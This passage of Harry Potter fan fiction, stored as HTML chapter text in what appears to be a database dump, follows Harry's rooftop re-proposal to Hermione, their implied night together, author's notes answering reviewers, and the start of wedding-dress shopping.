class="MsoNormal">&#8220;It&#8217;s a surprise.&#8221; Harry grinned\nat her. &#8220;But wear something nice, formal.&#8221; With that he sprinted down the hall\nto take a shower.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked after him\nfor a moment, and then went to the closet where she was pleased to see that\nHarry had carefully hung up all her clothing neatly. She flipped through what\nshe had, and then spied a white garment bag at the back of the closet. Curious,\nshe pulled it down and there was a little note attached to the top.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Hermione, knock him dead&#8230;.\nlove Grace-</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Grace, you are too much!&#8221;\nHermione whispered as she saw the dress. It was gorgeous; it was blue, almost\nviolet really, made of silk with one diagonal strap across the back, which\ndipped down low, the bodice in the front was just revealing enough to keep her\ncomfortable, and the whole thing had a shimmer to it that made Hermione wonder\nif it had been charmed. Smiling to herself, she took what she would need to get\nready, then went into the guest bathroom and cleaned herself up and used the\nspare bedroom to get dressed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stepped out of the\nshower and into the bedroom. &#8220;Hermione?&#8221; he called.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; she answered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Where are you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m getting ready in the\nspare room.&#8221; She answered. &#8220;I&#8217;ll be out in a few minutes!&#8221; She finished pulling\nthe dress on and was able to zip it up on the side. Then she took up her long\nhair and twisted it into a fancy bun, and pinned it securely. Hermione put on\nsome of her favorite cologne, used her wand to apply a bit of makeup, and she\nwas ready.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was getting\nfrustrated; he could not get his tie on right for some reason. He supposed it\nwas due to nerves; he had a very special evening planned. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Bloody tie!&#8221; He said\nangrily, pulling it off and throwing it onto the dresser. A soft laugh from the\ndoorway made him turn, and his breath caught in his throat at the sight of\nHermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Having trouble?&#8221; she asked\nlightly, she seemed to float into the room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I uh&#8230;yeah, uh, just a\nlittle.&#8221; Harry managed to mumble. &#8220;You look incredible.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione blushed under his intense\ngaze. &#8220;Thank you.&#8221; She picked up the tie and walked over to Harry. Looping it\naround his neck, she tried to keep her attention on knotting it correctly, but\nthe look in his eyes was distracting her. &#8220;Why are you looking at me like\nthat?&#8221; she asked, keeping her eyes averted, as she did not trust her sense of\nself control.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ve never seen anyone look\nso amazingly beautiful in my life.&#8221; Harry said as she managed to finish putting\nhis tie on. Hermione looked up at him, then raised herself up the last few\ninches and gently pressed her lips to his.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I love you.&#8221; She said\nsoftly. &#8220;So much.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I love you.&#8221; Harry replied.\n&#8220;Never stopped, not once.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;In a strange sense,&#8221;\nHermione said. &#8220;I don&#8217;t think I ever did either&#8230;somehow, I knew that there was\nsomeone or something out there for me&#8230;.&#8221; Harry kissed her again, and then\npulled back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We&#8217;re going to be late.&#8221; He\nsaid. They went into the living room, where Harry threw some Floo Powder into\nthe fireplace.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If we&#8217;re seen on the\nstreets we&#8217;ll get mugged, this is the easiest way to get where we&#8217;re going.&#8221; He\nsaid.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just where are we going?&#8221;\nHermione asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smiled and turned\naround. &#8220;The Golden Snitch!&#8221; he called out, and he grabbed Hermione&#8217;s hand as\nthey whirled through and came out of the fireplace at Oliver&#8217;s club.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What are we doing here?&#8221;\nHermione felt a bit confused, as they were dressed quite formally. Harry said\nnothing, but covered her hand with his and led her over to the elevator. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Close your eyes.&#8221; Harry\nsaid as they had stepped inside and the elevator began taking them up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221; Hermione said,\nclosing her eyes. She could feel the elevator coming to a stop, and the doors\nopening, the cool night air rushing in. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Open.&#8221; Harry said as soon\nas he had guided her outside. Hermione opened her eyes back up and gazed in\nwonder at the roof.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The half walls guarding the\nedges of the rooftop had small lanterns strung along, a closer look revealed\nsmall fairies inside. Soft classical music was playing, out of nowhere, and a\ntiny table was set up in the middle of the roof, with two seats and one candle\nin the middle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Surprise.&#8221; Harry said\nquietly in her ear.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Did you do all\nthis?&quot; Hermione turned and asked with a large smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well...&quot; Harry\nwrapped his arms around her waist. &quot;I planned it, Oliver had it set up for\nus.&quot; He took her by the arm and escorted her to the table. &quot;I hope\nyou\'re hungry.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Ravenous.&quot;\nHermione replied. &quot;All that moving today got me starving.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well, all you have to\ndo is think of what kind of food you like, and it will appear on the\nplate.&quot; Harry told her</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really.&#8221; Hermione said,\nlooking down at the plate. Her eyes drifted back up and she watched as Harry\nclosed his eyes tightly and a moment later, fish and chips appeared on his\nplate.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Fish and chips, huh&#8230;&#8221; she\nsaid.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry only smiled back at\nher. &#8220;Your turn.&#8221; He said. Hermione looked down again at her plate and\nconcentrated on her favorite meal, lemon pepper chicken with a side of Chinese\nsnow peas, and a bottle of champagne.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wow.&#8221; Harry&#8217;s voice made\nher open her eyes. &#8220;You&#8217;re a lot more detailed than I am.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I even thought of a drink.&#8221;\nHermione said smugly, as Harry, being the gentleman, poured the champagne into\ntwo glasses. She held hers up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shall we make a toast?&#8221;\nHermione asked, thickening her accent in a haughty manner.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We shall.&#8221; Harry said,\ndoing the same. &#8220;To you, the only woman I will ever love.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione blushed and clinked\nher glass against his. &#8220;And you as well, the only one for me, ever.&#8221; Harry\nleaned across the table and kissed her softly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They finally started in on\ntheir dinner. While Hermione ate everything on her plate, Harry was only able\nto pick at his supper.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That was wonderful, as far\nas food goes coming from our minds.&#8221; Hermione said, sitting back in her chair. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, it was really good.&#8221;\nHarry said, sitting back. He checked his watch. &#8220;I need to use the bathroom,\nI&#8217;ll be right back.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221; Hermione said,\nwatching him go to the elevator. Harry jabbed the button and a moment later the\ndoors opened and he rode back down to the main floor. Oliver met him in the\nback room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Everything working out\nokay?&#8221; he asked. Harry nodded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So far so good.&#8221; He looked\nat the bag in Oliver&#8217;s hand. &#8220;Have you got the&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, they&#8217;re right in\nhere.&#8221; Oliver said. &#8220;You owe me so much for this Potter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, I know, I know.&#8221;\nHarry said, pulling a length of cloth out of the bag. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stood up and walked\nover to the edge of the roof, looking over the half wall down at Diagon Alley.\nFaintly, she could hear people talking and music blaring; the classical music\nthat had been playing when she and Harry had arrived had stopped a few moments\nbefore. She heard the noise of the elevator doors opening behind her, and she\nturned. Her mouth opened in shock and surprise as Harry and Oliver came out,\nboth dressed to the nines in full Scottish kilts.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;&#8221; Hermione said,\nunsure of what to think of this.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I thought you liked men in\nkilts&#8230;&#8221; Harry said, coming up to her. &#8220;Don&#8217;t I look like Mel Gibson?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh dear&#8230;&#8221; Hermione said.\n&#8220;You look better than Mel, any day of the week.&#8221; She leaned forward and kissed\nhim, softly but passionately. They would have gone on, but Oliver chose that\nmoment to begin playing Scotland the Brave on his set of bagpipes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oliver!&#8221; Harry motioned to\nhim to cut the bagpipes. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sorry.&#8221; Oliver said,\nsnapping his fingers and the classical music began to waft through the air once\nmore. He sheepishly smiled at the two of them and went back downstairs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry turned back to\nHermione; his stomach was alight with butterflies now that they were alone once\nmore.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you all right?&#8221;\nHermione asked, concerned. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, I&#8217;m fine.&#8221; Harry\nwilled himself to calm down. He reached with one hand in the pocket and drew\nout a small box.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione&#8230;&#8221; he said, getting\ndown on one knee. Hermione&#8217;s eyes opened wide as realization set in.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know that technically, we\nare still married, but I want everything to be new.&#8221; Harry began.&nbsp; &#8220;Ever since you disappeared, my life has\nonly been half full, but now that you&#8217;re back, everything is as it should be.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s eyes sparkled\nwith tears. &#8220;Harry&#8230;&#8221; she began, but he shushed her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Will you, Hermione Leanne\nPotter, marry me, again?&#8221; Harry managed to say. &#8220;Will you become Hermione\nLeanne Potter?&#8221; they both laughed softly, and Hermione took Harry&#8217;s hand and he\nstood up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, of course I will.&#8221;\nShe said. &#8220;I want nothing more in this world than that.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry released the breath he\nhad been holding and drew her into his embrace tightly. They kissed briefly,\nand then Harry pulled the ring he had bought from the box and slipped it on her\nfinger. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, what a beautiful\nring!&#8221; Hermione exclaimed. She had never been one for flashy rings, but this\none took her breath away. It was a large, clear-cut emerald, surrounded by\nabout eight sparkling diamonds. &#8220;I love emeralds.&#8221; She said, looking up at him.\n&#8220;They remind me of your eyes.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smiled, but his eyes\nremained serious. &#8220;I&#8217;m never letting you out of my sight this time Hermione. I\nlived ten years without you, and I can&#8217;t do it again.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You won&#8217;t have to, never.&#8221;\nHermione answered softly. The classical music stopped once more and a new song\nbegan to play.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;May I have this dance?&#8221;\nHarry asked, taking her hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You may.&#8221; Hermione\nanswered, smiling radiantly up at him. Harry pulled her up close to him, one\narm around her waist, the other still holding up her hand. She rested her head\nagainst his chest.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i>A new day has come</i></p>\n\n<p class="MsoNormal"><i>A new day has... come</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>I was waiting for so long</i></p>\n\n<p class="MsoNormal"><i>For a miracle to come</i></p>\n\n<p class="MsoNormal"><i>Everyone told me to be\nstrong</i></p>\n\nHold on and don\'t shed a tear\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal">Harry tightened his hold on\nHermione as a cool breeze flew across the roof.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i>Through the darkness and\ngood times</i></p>\n\n<p class="MsoNormal"><i>I knew I\'d make it\nthrough</i></p>\n\n<p class="MsoNormal"><i>And the world thought I\nhad it all</i></p>\n\n<p class="MsoNormal"><i>But I was waiting for you</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>Hush, love</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>I see a light in the sky</i></p>\n\n<p class="MsoNormal"><i>Oh, it\'s almost blinding\nme</i></p>\n\n<p class="MsoNormal"><i>I can\'t believe</i></p>\n\nI\'ve been touched by an angel with love\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>Let the rain come down\nand wash away my tears</i></p>\n\n<p class="MsoNormal"><i>Let it fill my soul and\ndrown my fears</i></p>\n\n<p class="MsoNormal"><i>Let it shatter the walls\nfor a new sun</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\nA new day has... come\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione had never felt more\nsecure in her life as she did right now. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i>Where it was dark now\nthere\'s light</i></p>\n\n<p class="MsoNormal"><i>Where there was pain now\nthere\'s joy</i></p>\n\n<p class="MsoNormal"><i>Where there was weakness,\nI found my strength</i></p>\n\n<p class="MsoNormal"><i>All in the eyes of a boy</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>Hush, love</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>I see a light in the sky</i></p>\n\n<p class="MsoNormal"><i>Oh, it\'s almost blinding\nme</i></p>\n\n<p class="MsoNormal"><i>I can\'t believe</i></p>\n\nI\'ve been touched by an angel with love\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal">Harry drew back a little to\nlook down at Hermione. He regarded her with such love that he felt like he was\ngoing to burst. He bent down and kissed her gently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i>Let the rain come down\nand wash away my tears</i></p>\n\n<p class="MsoNormal"><i>Let it fill my soul and\ndrown my fears</i></p>\n\n<p class="MsoNormal"><i>Let it shatter the walls\nfor a new sun</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>A new day has... come </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>Let the rain come down\nand wash away my tears</i></p>\n\n<p class="MsoNormal"><i>Let it fill my soul and\ndrown my fears</i></p>\n\n<p class="MsoNormal"><i>Let it shatter the walls\nfor a new sun</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\nA new day has... come\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry and Hermione were\nstill kissing as the song came to an end; neither of them noticed the silence\nthat had overtaken the roof.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry.&#8221; Hermione said,\nbreaking free. &#8220;I just want to know one thing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Did you go traditional\nunder that kilt?&#8221; Hermione smiled up at him devilishly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you mean&#8230;oh&#8230;.&#8221;\nHarry said as realization dawned on him. He grinned back at her. &#8220;Wouldn&#8217;t you\nlike to find out?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think I would,&#8221; Hermione replied,\nrunning one finger down his torso. Harry gulped hard.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really?&#8221; he asked. &#8220;You\nwant to&#8230;&#8221; he was cut off as Hermione pressed her lips to his.\n&#8220;Need&#8230;fireplace&#8230;our flat&#8230;&#8221; Harry was able to manage. They scurried back to the\nelevator and rode down to the main floor, then used Floo Powder to quickly get\nback to their flat. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry half carried Hermione\ndown the hall as she didn&#8217;t want to seem to take her mouth from his. He gently\nput her down on the bed, and then lay down next to her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you sure?&#8221; Harry asked,\nkissing her fingertips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ve never been more\npositive of anything in my life,&#8221; Hermione said. &#8220;Except when I said I&#8217;d marry\nyou.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smiled and kissed her\nagain, and Hermione got her wish- she found out what was under Harry&#8217;s kilt.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(A/N: Teehee, look at those\ntwo go! :) Anyways, while you wait for the next chapter, be sure and check out\nsome of my other stories if you haven&#8217;t already, and those of Ryoko Blue, Lydia\nSilver Maiden, God of Fire, and a really cute story called Evergreen by WhiteLady.)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(77, 13, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 13</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(A/N: Another chapter to\nthank you guys for, the overwhelming amount of reviews I got excited me to no\nend!!! Each and every comment is truly appreciated!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">AgiVega- LOL tell me, what\ndo you think Harry had on under that kilt? heehee</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Paladin Steelbreaker- I&#8217;m\nglad you didn&#8217;t short out your keyboard ;) LOL</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">ECR Potter- Yes, this story\nis going to be somewhat fluffy from here on out, the drama is over ;) But I do\npromise it will still be good.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lily Cat- Hmm&#8230;maybe I want\nto keep Oliver in that kilt a little while longer&#8230;yeah, what nice imagery that\nprovides ;)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Okay, on with the story!!!!\nEnjoy!)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry?&#8221; Hermione asked,\nsetting down one of many bridal magazines she had been perusing over the two\nweeks that had passed since they had become re engaged. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmm?&#8221; Harry said, setting\ndown the file he had been looking over. He had been given a job at the\nMinistry, an Auror like position. Even though Voldemort was now dead, there\nwere still dark wizards abound, and Harry was determined to catch them, so that\nno one would ever have to go through something like he and Hermione had.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, you know how last\ntime we got married, we had that tiny wedding, with only my parents, Sirius,\nand Ron and Lavender?&#8221; Harry nodded. &#8220;I was thinking this time, we could have a\nbigger wedding, not something huge, but definitely more elaborate.&#8221; Hermione\nlooked at him tentatively.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry chuckled and set his\nfile aside. &#8220;Anything you want, love, anything at all.&#8221; He said, moving over\nnext to her and wrapping his arms around her. She sighed and melted against\nhim, there was nothing more she loved than being in his arms. He kissed the\nside of her temple, and she turned to meet his lips with hers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You know, there is\nsomething we haven&#8217;t discussed yet.&#8221; Harry said. &#8220;Where do you want to go for a\nhoneymoon?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We don&#8217;t really need to go\nanywhere.&#8221; Hermione said. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh yes we do.&#8221; Harry said.\n&#8220;I want to be totally and completely alone with you, with no interruptions of\nany sort. He began to press his lips softly to the side of her neck, and she\nlolled her head back, enjoying it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What did you have in mind?&#8221;\nHermione asked, her eyes closed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;A tiny medieval village\ncalled Eze, in Monaco.&#8221; Harry said, still nudging her with his lips. &#8220;It&#8217;s\nbuilt right into the mountains, I hear it&#8217;s amazing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ve heard of that place.&#8221;\nHermione said. &#8220;Always wanted to go there.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t know how much\nsightseeing we&#8217;ll do.&#8221; Harry said. He pulled back and looked at her\nsuggestively and she burst out laughing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You are hopeless, you know\nthat right?&#8221; she said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Only around you.&#8221; Harry\nreplied. &#8220;Have you found a new dress?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I was thinking I&#8217;d wear my\nold one, since Ron has a ton of our things stored at the Burrow.&#8221; Hermione\nsaid.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No.&#8221; Harry said. &#8220;I want\neverything to be new, nothing old.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked like she was\ngoing to argue for a moment, then shrugged and smiled sweetly. &#8220;Okay, then I\nget to send you the bill right?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry laughed loudly and\npulled her over so she was snuggled down in his arms. He summoned his files\nover and began working again, Hermione flipped through her magazines once more.\nLately, since Harry had taken up working at the Ministry and Hermione worked\nmornings still at Flourish and Blotts, the evenings were spent together on the\ncouch, just enjoying each other&#8217;s presence.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione turned a page of\nthe magazine and came upon a picture of a young bride, with her new husband,\nand her parents standing in the background. She bit her lip hard as tears swam\nin her eyes at the happy sight. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mione?&#8221; Harry heard her\nsniff and looked over at her. &#8220;What&#8217;s wrong?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione shook her head, &#8220;I\njust wish my parents could see us get married again. I miss them a lot, it was\nhard to remember them being dead.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry hugged her tightly to\nhim and let her cry for a moment. &#8220;I know it&#8217;s hard, I do.&#8221; He said. Hermione&#8217;s\nparents had died just a few short months before Caitlyn had been born, in a\nhorrific car crash. He particularly remembered it because it had nearly caused\nHermione to miscarry, which would have been another tragic loss. &#8220;Mione, I know\nhow it feels to lose your parents.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know you do.&#8221; Hermione\npulled away from his embrace and looked straight at him. &#8220;I&#8217;m tough though, you\nknow that.&#8221; She smiled at him through her tears.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes you are.&#8221; Harry said,\nleaning forward and kissing her lightly. &#8220;There&#8217;s no one I admire more than\nyou, Hermione.&#8221; He brought her against him again, hugging her tightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t&#8217; know what kind of\ndress I want.&#8221; Hermione said, flipping through a rack of them at Madam Malkin&#8217;s\nBridal Shoppe. Grace and Lavender moved beside her, studying the rejected\ngowns.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What exactly are you\nlooking for, Hermione?&#8221; Lavender asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Something completely\ndifferent than before.&#8221; Hermione replied, tossing aside another dress.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What was your dress like?&#8221;\nGrace asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Totally simple.&#8221; Lavender\nanswered. &#8220;Too plain.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It was not!&#8221; Hermione\nanswered, glaring at Lavender.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes it was!&#8221; Lavender\ninsisted. Grace looked between the two and started laughing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What did it look like?&#8221;\nGrace asked. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It was beautiful, off\nwhite&#8230;&#8221; Hermione started to answer when Lavender interrupted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It was nice, a very off\nwhite color, especially since she wasn&#8217;t a virgin when they got married&#8230;&#8221;\nLavender gave a sideways glance at Hermione, who was beginning to fume. &#8220;No\nlace, frills, or anything.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Grace was now staring at\nHermione in horror. &#8220;Are you serious?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stamped her foot.\n&#8220;Honestly, are you two going to help me pick out a dress or rag on me for my\nold one?&#8221; she tossed her hair and flounced to another rack of gowns.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ohhh Herm, we&#8217;re sorry.&#8221;\nLavender said, coming up behind Hermione and hugging her. &#8220;I just want to help\nyou make this wedding spectacular.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione rolled her eyes.\n&#8220;Then be nice. Or neither of you will be 